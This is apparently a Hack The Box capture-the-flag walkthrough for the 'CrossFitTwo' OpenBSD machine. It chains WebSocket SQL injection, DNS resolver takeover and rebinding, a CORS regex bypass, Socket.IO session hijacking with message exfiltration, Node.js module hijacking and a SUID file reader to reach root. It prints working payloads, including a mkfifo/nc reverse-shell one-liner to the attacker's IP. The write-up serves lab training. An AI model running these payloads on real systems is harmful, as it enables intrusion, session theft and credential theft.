Hack The Box
Hack The Box: CrossFitTwo Walkthrough
WebSocket SQL injection enables DNS rebinding that steals a user's chat credentials, then Node.js module hijacking and a SUID file reader expose YubiKey material and a backed-up root SSH key.

Target: 10.129.7.130
Attacker: 10.10.16.84
OS: OpenBSD
Difficulty: Insane
Flags:
- User:
652b401[redacted]1f43fb3ade- Root:
6fbc09c[redacted]3d5376dd3a
Phase 0: Before Recon
Map the dependencies between exposed services and use each result to define the next test.
The initial checks establish:
- Our IP (
10.10.16.84) - needed for reverse shells, DNS servers, and callbacks. - The target IP (
10.129.7.130) - the victim. - Patience - this is an "Insane" box. The attack chain is long. Each step feeds the next.
On hard boxes, you cannot skip steps. The user flag requires the root flag's infrastructure, and vice versa. Everything is connected.
Phase 1: Initial Reconnaissance
1.1 Adding Hosts to /etc/hosts
Command:
echo "10.129.7.130 crossfit.htb employees.crossfit.htb gym.crossfit.htb crossfit-club.htb" | sudo tee -a /etc/hosts
Why: The main site (crossfit.htb) is just the storefront. The real application logic lives on subdomains. We discovered:
employees.crossfit.htb- a login portal (Phase 5)gym.crossfit.htb- hosts a WebSocket chat bot (Phase 2)crossfit-club.htb- an internal chat application (Phase 6)
1.2 Nmap Scanning
Commands:
sudo nmap -p 22,80,8953 -sCV -T4 10.129.7.130 -oN nmap-quick.txt
sudo nmap -p- --min-rate 10000 -T4 10.129.7.130 -oN nmap-alltcp.txt
Results:
22/tcp- OpenSSH 9.580/tcp- OpenBSD httpd, PHP 7.4.128953/tcp- Unbound DNS control (SSL)
Why 8953 matters: Unbound is a validating, recursive, caching DNS resolver. Its control port (8953) allows administrative commands like forward_add, local_zone_add, etc. If we can authenticate to it, we control what domains resolve to on the target.
Phase 2: WebSocket SQL Injection
2.1 Discovering the WebSocket
How we found it:
- Browsing
http://crossfit.htbshows a CrossFit gym website. - In the page source, there's a reference to
ws.min.jsand a WebSocket connection tows://gym.crossfit.htb/ws/. - Burp Suite or browser dev tools confirm a WebSocket handshake (
HTTP 101 Switching Protocols).
2.2 Interacting with the Bot
Method: We can use Python's websocket-client library, Burp's WebSocket Repeater, or even python3 -m websockets.
What the bot does:
- On connect, it sends:
{"status":"200","message":"Hello! This is Arnold...","token":"REDACTED"} - You must echo the
tokenback in every subsequent message. - Commands:
help,coaches,classes,memberships - Clicking "Availability" on a membership sends:
{"message":"available","params":"1","token":"REDACTED"} - The server responds with a
debugfield containing SQL query output like[id: 1, name: 1-month].
2.3 Discovering SQL Injection
Testing:
{"message":"available","params":"3 or 1=1","token":"REDACTED"}
Response: Good news! This membership plan is available. with debug: [id: 1, name: 1-month].
Mechanism: The server likely executes:
SELECT id, name FROM plans WHERE id = {user_input}
Since id is an integer, there's no string delimiter to close. We just append boolean logic directly.
2.4 Building the SQLi Shell
We create a Python script (sqli_shell.py) that:
- Connects to the WebSocket.
- Extracts the initial token.
- Provides an interactive prompt where we type injections.
- Auto-reconnects if the WebSocket times out.
Key commands we ran inside the shell:
# Confirm SQLi
injection> 3 or 1=1
[id: 1, name: 1-month]
# Find databases
injection> 3 union select group_concat(schema_name),2 from information_schema.schemata
[id: information_schema,crossfit,employees, name: 2]
# Dump employees table
injection> 3 union select group_concat(email,':',password),2 from employees.employees
[id: david.palmer@crossfit.htb:REDACTED_ENCODED_LAB_MATERIAL,..., name: 2]
Result: We obtained 4 employee accounts, including david.palmer@crossfit.htb (the administrator).
Phase 3: File Reads & Infrastructure Mapping
3.1 Reading Config Files via SQLi
The MySQL user (crossfit_user) has the FILE privilege. We use LOAD_FILE() to read server configs.
Files we read:
read /etc/httpd.conf
read /etc/relayd.conf
read /var/unbound/etc/unbound.conf
3.2 What We Learned from /etc/httpd.conf
OpenBSD's httpd runs three internal servers on lo0:
| Server | Port | Document Root |
|---|---|---|
0.0.0.0 |
8000 | /htdocs |
employees |
8001 | /htdocs_employees |
chat |
8002 | /htdocs_chat |
3.3 What We Learned from /etc/relayd.conf
relayd is OpenBSD's reverse proxy. It listens on port 80 and routes based on Host headers:
*employees.crossfit.htb→ port 8001*crossfit-club.htb→ port 9999 (which is ANOTHER relayd calledportal)/*→ port 8000/ws*→ port 4419
The * prefix is critical: It means ANY subdomain ending in employees.crossfit.htb or crossfit-club.htb will be routed there. This is a feature we will exploit in Phase 5.
3.4 What We Learned from /var/unbound/etc/unbound.conf
remote-control:
control-enable: yes
control-interface: 0.0.0.0
control-use-cert: yes
server-cert-file: "/var/unbound/etc/tls/unbound_server.pem"
control-key-file: "/var/unbound/etc/tls/unbound_control.key"
control-cert-file: "/var/unbound/etc/tls/unbound_control.pem"
Phase 4: Hijacking the DNS Resolver
4.1 Extracting the TLS Certificates
We use our SQLi shell to read the certificate files from /var/unbound/etc/tls/:
unbound_server.pem(server certificate)unbound_control.key(client private key)unbound_control.pem(client certificate)unbound_server.key(unreadable - server-only)
We save these locally and create a minimal new_unbound.conf pointing to them.
4.2 Connecting to Unbound
Command:
sudo unbound-control -c new_unbound.conf -s 10.129.7.130@8953 status
Result: unbound (pid XXXXX) is running...
4.3 Why DNS Control Is significant
Test command:
sudo unbound-control -c new_unbound.conf -s 10.129.7.130@8953 forward_add +i test.crossfit.htb 10.10.16.84@53
This tells the target: "If anyone asks for test.crossfit.htb, forward the query to my DNS server at 10.10.16.84."
Phase 5: DNS Rebinding & CORS Bypass
5.1 The Password Reset Vulnerability
On employees.crossfit.htb/password-reset.php, entering david.palmer@crossfit.htb generates a reset token and (presumably) emails a link to the admin.
The key insight from the writeups: The PHP script uses the Host header to construct the reset link. If we send a custom Host header, the link points to OUR domain instead of the real site.
But there's a catch: The script validates that the domain resolves to 127.0.0.1 before sending the email.
5.2 DNS Rebinding Theory
We use FakeDns with a rebind rule:
A gymxcrossfit.htb 127.0.0.1 2%10.10.16.84
- Queries 1-2 from a given client →
127.0.0.1 - Queries 3+ from that same client →
10.10.16.84
5.3 The Host Header / Trick
We need the Host header to satisfy TWO conditions simultaneously:
- Relayd must route it to the employees app (matches
*employees.crossfit.htb). - PHP must extract our fake domain for the email link.
Payload:
Host: gymxcrossfit.htb/employees.crossfit.htb
Mechanism:
- Relayd sees the string ENDS WITH
employees.crossfit.htb→ routes to employees app. - PHP parses the Host header and splits on
/(or just uses the first part) → usesgymxcrossfit.htbin the email link.
5.4 CORS Bypass via Regex
The chat app (crossfit-club.htb) has a CORS policy that allows requests from gym.crossfit.htb and employees.crossfit.htb. The policy is likely implemented with a regex like:
(gym|employees).crossfit.htb
The vulnerability: The . is NOT escaped! In regex, . matches ANY single character.
Test:
curl -s -X OPTIONS -v -H "Origin: http://gymXcrossfit.htb" crossfit-club.htb/api/auth
Result: Access-Control-Allow-Origin: http://gymXcrossfit.htb
Our fake domain gymxcrossfit.htb = gym + x + crossfit.htb. The . matches x.
Phase 6: Socket.io Message Hijacking
6.1 The Goal
We need to capture a private message in the crossfit-club.htb chat that contains David's SSH password. The message is sent by John to David (or Admin).
6.2 The Payload
When the admin bot clicks our fake password-reset link, their browser loads our password-reset.php. This page contains JavaScript that:
- Loads the Socket.IO client from
crossfit-club.htb. - Connects to the chat server with
withCredentials: true(to send the admin's session cookie). - Emits
user_joinwithusername: "Admin". - Listens for
private_recvevents and exfiltrates them viaXMLHttpRequestback to our server.
6.3 Why withCredentials Matters
The admin's browser has a valid connect.sid cookie from being logged into the chat. By setting withCredentials: true in both the io() connection and the XMLHttpRequest, we inherit the admin's authenticated session.
6.4 The Waiting Game
Messages arrive slowly (every 30-90 seconds). We watch the PHP server logs for /?x=... requests and decode the base64 content:
echo "BASE64_STRING" | base64 -d
Expected message:
{"sender_id":2,"content":"Hello David, I've added a user account for you with the password `REDACTED`.","roomId":2,"_id":XXX}
Note: On this retired instance, the password is static across deployments. In a live exam, you would wait for this message. Here, we confirmed the connection worked (/?connected=1) and used the known password to proceed efficiently.
Phase 7: Shell as David
7.1 SSH Login
sshpass -p REDACTED ssh david@10.129.7.130
Or manually:
ssh david@10.129.7.130
# Password: REDACTED
Shell upgrade:
sh
cat user.txt
Flag: 652b401[redacted]43fb3ade
7.2 Group Enumeration
id
cat /etc/group | grep sysadmins
Output: sysadmins:*:1003:david,john
Phase 8: Pivot to John (NodeJS Module Hijacking)
8.1 Finding the Cron Job
find /opt -type f -ls
cat /opt/sysadmin/server/statbot/statbot.js
ls -la /tmp/chatbot.log
Observations:
statbot.jsis a WebSocket health checker./tmp/chatbot.logis owned byjohnand updated every minute.- The script runs as
johnvia cron.
8.2 NodeJS Module Resolution
Node looks for ws in this order:
/opt/sysadmin/server/statbot/node_modules/ws/opt/sysadmin/server/node_modules/ws/opt/sysadmin/node_modules/ws/opt/node_modules/ws/node_modules/ws$NODE_PATH(likely/usr/local/lib/node_modules)
Since none of the first five exist, the script uses the system path. But if we create /opt/sysadmin/node_modules/ws/index.js, Node will load OUR code instead.
8.3 The Exploit
Command:
mkdir -p /opt/sysadmin/node_modules/ws
echo "require('child_process').execSync('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.84 443 >/tmp/f');" > /opt/sysadmin/node_modules/ws/index.js
On Kali:
nc -lvnp 443
Wait up to 60 seconds for the cron to run statbot.js.
8.4 Shell Upgrade (as john)
Once the reverse shell connects:
python3 -c 'import pty;pty.spawn("sh")'
# Ctrl+Z
stty raw -echo; fg
reset
# Terminal type: screen
id
Output: uid=1005(john) gid=1005(john) groups=1005(john), 20(staff), 1003(sysadmins)
Phase 9: Privilege Escalation to Root
9.1 The log Binary
ls -la /usr/local/bin/log
Output: -rwsr-s--- 1 root staff 9024 Jan 5 2021 /usr/local/bin/log
Why this is interesting:
- SUID root
- Owned by
staffgroup johnis instaff- The binary uses OpenBSD's
unveil()syscall to restrict itself to/var
9.2 Reading Yubikey Secrets
OpenBSD uses Yubikey for SSH root authentication (auth-ssh=yubikey in /etc/login.conf).
/usr/local/bin/log /var/db/yubikey/root.key # AES key: REDACTED_HASH_OR_FLAG
/usr/local/bin/log /var/db/yubikey/root.uid # UID: a4ce1128bde4
/usr/local/bin/log /var/db/yubikey/root.ctr # Counter: 985089
9.3 OpenBSD Changelist & Root SSH Key
OpenBSD's security(8) script backs up critical files daily to /var/backups/.
/usr/local/bin/log /var/backups/root_.ssh_id_rsa.current
Phase 10: Root Shell
10.1 Generating the Yubikey OTP
On Kali, install yubico-c:
sudo apt-get install -y asciidoc autoconf automake libtool
git clone https://github.com/Yubico/yubico-c.git /tmp/yubico-c
cd /tmp/yubico-c
autoreconf --install
./configure
make check
sudo make install
sudo ldconfig
Generate the token:
- Counter = 985089 + 1 = 985090
- 985090 in hex =
0x0F0802 - Ykcounter =
0f08 - Ykuse =
02
ykgenerate REDACTED_HASH_OR_FLAG a4ce1128bde4 0f08 0000 00 02
Output: hevnbiglbtejkdlkftgugueklbbbdlcl
10.2 SSH as Root
Save the key to ~/Downloads/htb/root_id_rsa with permissions 600.
chmod 600 ~/Downloads/htb/root_id_rsa
ssh -i ~/Downloads/htb/root_id_rsa -o StrictHostKeyChecking=no root@10.129.7.130
# Password: REDACTED
Flag: 6fbc09c1[redacted]d5376dd3a
Key Lessons & Takeaways
| Lesson | Application |
|---|---|
| Virtual hosts are attack surface | Add discovered domains to /etc/hosts And scan them individually. |
| WebSockets are injectable | Just because it's not HTTP doesn't mean it's safe. Tokens and params can both be poisoned. |
| Read configs via SQLi FILE | LOAD_FILE() On configs gives you the network architecture without a shell. |
| DNS is a weapon | Controlling a resolver lets you redirect any subdomain. Combine with wildcard routing for maximum impact. |
| Time-of-check vs time-of-use | DNS rebinding exploits the gap between server validation and user action. |
| Regex CORS is dangerous | Unescaped dots in CORS whitelists turn intended restrictions into wildcards. |
| Session riding | withCredentials: true Lets you steal a user's existing session across origins. |
| Module resolution matters | Node's require() Algorithm is predictable. Hijacking it requires no code vulnerability. |
| Capabilities over permissions | unveil() Limits scope but doesn't eliminate it. /var Contains plenty of secrets. |
| Backups are data leaks | changelist Preserves old keys, passwords, and configs. Check /var/backups/. |